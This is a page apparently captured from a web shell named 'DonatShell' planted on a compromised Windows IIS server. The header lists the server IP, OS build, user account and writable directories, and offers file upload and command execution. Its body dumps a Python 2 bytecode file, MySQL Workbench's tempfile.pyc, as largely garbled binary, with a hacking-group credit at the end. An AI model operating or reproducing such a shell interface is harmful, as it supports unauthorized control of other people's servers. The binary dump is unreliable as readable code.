DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files (x86)/MySQL/MySQL Workbench 6.1 CE/python/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Program Files (x86)/MySQL/MySQL Workbench 6.1 CE/python/lib//tempfile.pyc
ó
 ¤'Sc
@sdZddddddddd	d
g
ZddlZddlZdd
lmZyddl	m
ZWn!ek
r‰ddl
m
ZnXyddl
ZWnek
r¶d„Zn
Xd„ZyddlZWnek
rïddlZnXejZejejBejBZeedƒr/eejOZneedƒrNeejOZneZeedƒrseejOZneedƒrŽejZndZdZeƒZ eedƒr¾ej!Z"n$eedƒrÙej#Z"n	d„Z"d„Z$dd.d„ƒYZ%d„Z&d„Z'da)d„Z*d„Z+d „Z,da-d!„Z.d"ede/d#„Z0d"edd$„Z1d"edd%„Z2d&d/d'„ƒYZ3d(dd"ede4d)„Z5ej6d*ksÈej7j8d+krÑe5Z9nd(dd"edd,„Z9dd0d-„ƒYZ:dS(1søTemporary files.

This module provides generic, low- and high-level interfaces for
creating temporary files and directories.  The interfaces listed
as "safe" just below can be used without fear of race conditions.
Those listed as "unsafe" cannot, and are provided for backward
compatibility only.

This module also provides some data items to the user:

  TMP_MAX  - maximum number of names that will be tried before
             giving up.
  template - the default prefix for all temporary names.
             You may change this to control the default prefix.
  tempdir  - If this is set to a string before the first use of
             any routine from this module, it will be considered as
             another candidate location to store temporary files.
tNamedTemporaryFilet
TemporaryFiletSpooledTemporaryFiletmkstemptmkdtemptmktemptTMP_MAXt
gettempprefixttempdirt
gettempdiriÿÿÿÿN(tRandom(tStringIOcCsdS(N((tfd((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyt_set_cloexec,scCsWytj|tjdƒ}Wntk
r/n$X|tjO}tj|tj|ƒdS(Ni(t_fcntltfcntltF_GETFDtIOErrort
FD_CLOEXECtF_SETFD(Rtflags((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR
/s

tO_NOINHERITt
O_NOFOLLOWtO_BINARYi'ttmptlstattstatcCs;yt|ƒ}Wntk
r,tj‚nX|jƒdS(N(topenRt_osterrortclose(tfntf((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyt_stat\s


cCs.yt|ƒWntjk
r%tSXtSdS(N(R!RRtFalsetTrue(R((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyt_existscs
t_RandomNameSequencecBs7eZdZdddZd„Zd„Zd„ZRS(s*An instance of _RandomNameSequence generates an endless
    sequence of unpredictable strings which can safely be incorporated
    into file names.  Each string is six characters long.  Multiple
    threads can safely use the same instance at the same time.

    _RandomNameSequence is an iterator.tabcdefghijklmnopqrstuvwxyztABCDEFGHIJKLMNOPQRSTUVWXYZt0123456789_cCs+tƒ|_tƒ|_tjj|_dS(N(t_allocate_locktmutext_RandomtrngRtpathtnormcase(tself((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyt__init__wscCs|S(N((R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyt__iter__|scCso|j}|j}|jj}|jƒz#gdD]}||ƒ^q2}Wd|jƒX|jdj|ƒƒS(Nt123456t(R*t
charactersR,tchoicetacquiretreleaseR.tjoin(R/tmtctchoosetdummytletters((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pytnexts		
#(t__name__t
__module__t__doc__R4R0R1R>(((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR%ks		cCsüg}x3dD]+}tj|ƒ}|r
|j|ƒq
q
Wtjdkrstjdƒ}|r´|j|ƒq´nAtjdkrž|jddd	d
gƒn|jddd
gƒy|jtjƒƒWn*ttjfk
r÷|jtjƒnX|S(s[Generate a list of candidate temporary directories which
    _get_default_tempdir will try.tTMPDIRtTEMPtTMPtriscoss
Wimp$ScrapDirtntsc:\tempsc:\tmps\temps\tmps/tmps/var/tmps/usr/tmp(RBRCRD(	RtgetenvtappendtnametextendtgetcwdtAttributeErrorRtcurdir(tdirlisttenvnametdirname((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyt_candidate_tempdir_listŒs"
c
Cs7tƒ}tƒ}t}x|D]ú}|tjkrUtjjtjj|ƒƒ}nxÁtdƒD]³}|j	ƒ}tjj
||ƒ}yYtj||dƒ}tj|dƒ}|j
dƒ|jƒtj|ƒ~~|SWqbttfk
r}	|	dtjkrPqqbXqbWqWttjd|f‚dS(sqCalculate the default directory to use for temporary files.
    This routine should be called exactly once.

    We determine whether or not a candidate temp dir is usable by
    trying to create and write to a file in that directory.  If this
    is successful, the test file is deleted.  To prevent denial of
    service, the name of the test file must be randomized.idi€twtblatis)No usable temporary directory found in %sN(R%RQt_text_openflagsRRMR-R.tabspathtxrangeR>R8RtfdopentwriteRtunlinktOSErrorRt_errnotEEXISTtENOENT(
tnamerRNRtdirtseqRItfilenameRtfpte((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyt_get_default_tempdir¨s.			
!


	cCsGtdkrCtjƒztdkr1tƒanWdtjƒXntS(s7Common setup sequence for all user-callable interfaces.N(t_name_sequencetNonet
_once_lockR6R%R7(((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyt_get_candidate_namesÍs
c
CsÉtƒ}x§ttƒD]™}|jƒ}tjj||||ƒ}y9tj||dƒ}t|ƒ|tjj	|ƒfSWqt
k
r®}	|	jtj
kr¨qn‚qXqWttj
df‚dS(s>Code common to mkstemp, TemporaryFile, and NamedTemporaryFile.i€s#No usable temporary file name foundN(RhRVRR>RR-R8RR
RURZterrnoR[R\R(
R_tpretsufRtnamesR`RItfileRRc((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyt_mkstemp_innerÛs	
cCstS(sAccessor for tempdir.template.(ttemplate(((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRñscCsGtdkrCtjƒztdkr1tƒanWdtjƒXntS(sAccessor for tempfile.tempdir.N(RRfRgR6RdR7(((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR	÷s
R3cCs@|dkrtƒ}n|r't}nt}t||||ƒS(s'User-callable function to create and return a unique temporary
    file.  The return value is a pair (fd, name) where fd is the
    file descriptor returned by os.open, and name is the filename.

    If 'suffix' is specified, the file name will end with that suffix,
    otherwise there will be no suffix.

    If 'prefix' is specified, the file name will begin with that prefix,
    otherwise a default prefix is used.

    If 'dir' is specified, the file will be created in that directory,
    otherwise a default directory is used.

    If 'text' is specified and true, the file is opened in text
    mode.  Else (the default) the file is opened in binary mode.  On
    some operating systems, this makes no difference.

    The file is readable and writable only by the creating user ID.
    If the operating system uses permission bits to indicate whether a
    file is executable, the file is executable by no one. The file
    descriptor is not inherited by children of this process.

    Caller is responsible for deleting the file when done with it.
    N(RfR	RTt_bin_openflagsRn(tsuffixtprefixR_ttextR((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRs	cCsÀ|dkrtƒ}ntƒ}x†ttƒD]x}|jƒ}tjj||||ƒ}ytj	|dƒ|SWq.t
k
r¥}|jtj
krŸq.n‚q.Xq.Wttj
df‚dS(sUser-callable function to create and return a unique temporary
    directory.  The return value is the pathname of the directory.

    Arguments are as for mkstemp, except that the 'text' argument is
    not accepted.

    The directory is readable, writable, and searchable only by the
    creating user.

    Caller is responsible for deleting the directory when done with it.
    iÀs(No usable temporary directory name foundN(RfR	RhRVRR>RR-R8tmkdirRZRiR[R\R(RqRrR_RlR`RIRmRc((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR(s
	cCs‡|dkrtƒ}ntƒ}xMttƒD]?}|jƒ}tjj||||ƒ}t	|ƒs.|Sq.Wt
tjdf‚dS(sšUser-callable function to return a unique temporary file name.  The
    file is not created.

    Arguments are as for mkstemp, except that the 'text' argument is
    not accepted.

    This function is unsafe and should not be used.  The file name
    refers to a file that did not exist at some point, but by the time
    you get around to creating it, someone else may have beaten you to
    the punch.
    s"No usable temporary filename foundN(
RfR	RhRVRR>RR-R8R$RR[R\(RqRrR_RlR`RIRm((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRGs	t_TemporaryFileWrappercBskeZdZed„Zd„Zd„Zejdkr`ej	Z	d„Z
d„Zd„Zn	d„ZRS(	sÄTemporary file wrapper

    This class provides a wrapper around files opened for
    temporary use.  In particular, it seeks to automatically
    remove the file when it is no longer needed.
    cCs(||_||_t|_||_dS(N(RmRIR"tclose_calledtdelete(R/RmRIRw((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR0ms			cCsN|jd}t||ƒ}tt|ƒtdƒƒsJt|||ƒn|S(NRmi(t__dict__tgetattrt
issubclassttypetsetattr(R/RIRmta((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyt__getattr__ss

cCs|jjƒ|S(N(Rmt	__enter__(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRs
RFcCsB|js>t|_|jjƒ|jr>|j|jƒq>ndS(N(RvR#RmRRwRYRI(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRŽs
		
	cCs|jƒdS(N(R(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyt__del__•scCs&|jj|||ƒ}|jƒ|S(N(Rmt__exit__R(R/texctvaluettbtresult((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRšs
cCs|jj|||ƒdS(N(RmR(R/R‚RƒR„((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRŸs(
R?R@RAR#R0R~RRRIRYRR€R(((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRues					sw+bc
Cs˜|dkrtƒ}nd|kr-t}nt}tjdkrX|rX|tjO}nt||||ƒ\}}tj|||ƒ}	t	|	||ƒS(s6Create and return a temporary file.
    Arguments:
    'prefix', 'suffix', 'dir' -- as for mkstemp.
    'mode' -- the mode argument to os.fdopen (default "w+b").
    'bufsize' -- the buffer size argument to os.fdopen (default -1).
    'delete' -- whether the file is deleted on close (default True).
    The file is created as mkstemp() would do it.

    Returns an object with a file-like interface; the name of the file
    is accessible as file.name.  The file will be automatically deleted
    when it is closed unless the 'delete' argument is set to False.
    tbRFN(
RfR	RpRTRRItO_TEMPORARYRnRWRu(
tmodetbufsizeRqRrR_RwRRRIRm((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR£s	tposixtcygwincCs|dkrtƒ}nd|kr-t}nt}t||||ƒ\}}y$tj|ƒtj|||ƒSWntj|ƒ‚nXdS(s¶Create and return a temporary file.
        Arguments:
        'prefix', 'suffix', 'dir' -- as for mkstemp.
        'mode' -- the mode argument to os.fdopen (default "w+b").
        'bufsize' -- the buffer size argument to os.fdopen (default -1).
        The file is created as mkstemp() would do it.

        Returns an object with a file-like interface.  The file has no
        name, and will cease to exist when it is closed.
        R†N(	RfR	RpRTRnRRYRWR(RˆR‰RqRrR_RRRI((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRÉs
	

cBs4eZdZeZddddedd„Zd„Zd„Z	d„Z
d	„Zd
„Zd„Z
ed„ƒZed
„ƒZd„Zd„Zd„Zed„ƒZed„ƒZed„ƒZd„Zd„Zd„Zd„Zd„Zed„ƒZd„Zd„Zd„Zd„Z d„Z!RS( s’Temporary file wrapper, specialized to switch from
    StringIO to a real file when it exceeds a certain size or
    when a fileno is needed.
    isw+biÿÿÿÿR3cCs:tƒ|_||_t|_|||||f|_dS(N(t	_StringIOt_filet	_max_sizeR"t_rolledt_TemporaryFileArgs(R/tmax_sizeRˆR‰RqRrR_((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR0ís		cCs?|jr
dS|j}|r;|jƒ|kr;|jƒndS(N(RRŽttelltrollover(R/RmR‘((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyt_checkôs
		cCsh|jr
dS|j}t|jŒ}|_|`|j|jƒƒ|j|jƒdƒt|_dS(Ni(	RRRRRXtgetvaluetseekR’R#(R/Rmtnewfile((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR“ús		cCs|jjrtdƒ‚n|S(Ns%Cannot enter context with closed file(Rtclosedt
ValueError(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRscCs|jjƒdS(N(RR(R/R‚RƒR„((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRscCs
|jjƒS(N(RR1(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR1scCs|jjƒdS(N(RR(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRscCs
|jjS(N(RR˜(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR˜scCs
|jjS(N(Rtencoding(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRšscCs|jƒ|jjƒS(N(R“Rtfileno(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR›"s
cCs|jjƒdS(N(Rtflush(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRœ&scCs
|jjƒS(N(Rtisatty(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR)scCs
|jjS(N(RRˆ(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRˆ,scCs
|jjS(N(RRI(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRI0scCs
|jjS(N(Rtnewlines(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRž4scCs
|jjS(N(RR>(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR>8scGs|jj|ŒS(N(Rtread(R/targs((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRŸ;scGs|jj|ŒS(N(Rtreadline(R/R ((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR¡>scGs|jj|ŒS(N(Rt	readlines(R/R ((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR¢AscGs|jj|ŒdS(N(RR–(R/R ((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR–DscCs
|jjS(N(Rt	softspace(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR£GscCs
|jjƒS(N(RR’(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR’KscCs|jjƒdS(N(Rttruncate(R/((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR¤NscCs)|j}|j|ƒ}|j|ƒ|S(N(RRXR”(R/tsRmtrv((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRXQs	
cCs)|j}|j|ƒ}|j|ƒ|S(N(Rt
writelinesR”(R/titerableRmR¦((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR§Ws	
cGs|jj|ŒS(N(Rt
xreadlines(R/R ((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyR©]sN("R?R@RAR"RRoRfR0R”R“RRR1RtpropertyR˜RšR›RœRRˆRIRžR>RŸR¡R¢R–R£R’R¤RXR§R©(((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyRæs:																			((((;RAt__all__tosRRiR[trandomR
R+t	cStringIORRŒtImportErrorRRR
tthreadt_threadtdummy_threadt
allocate_lockR)tO_RDWRtO_CREATtO_EXCLRTthasattrRRRpRRRoRgRR!RR$R%RQRdRfReRhRnRRR	R"RRRRuR#RRItsystplatformRR(((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\tempfile.pyt<module>s|


	
				!		#				%>	!		

Anon7 - 2022
AnonSec Team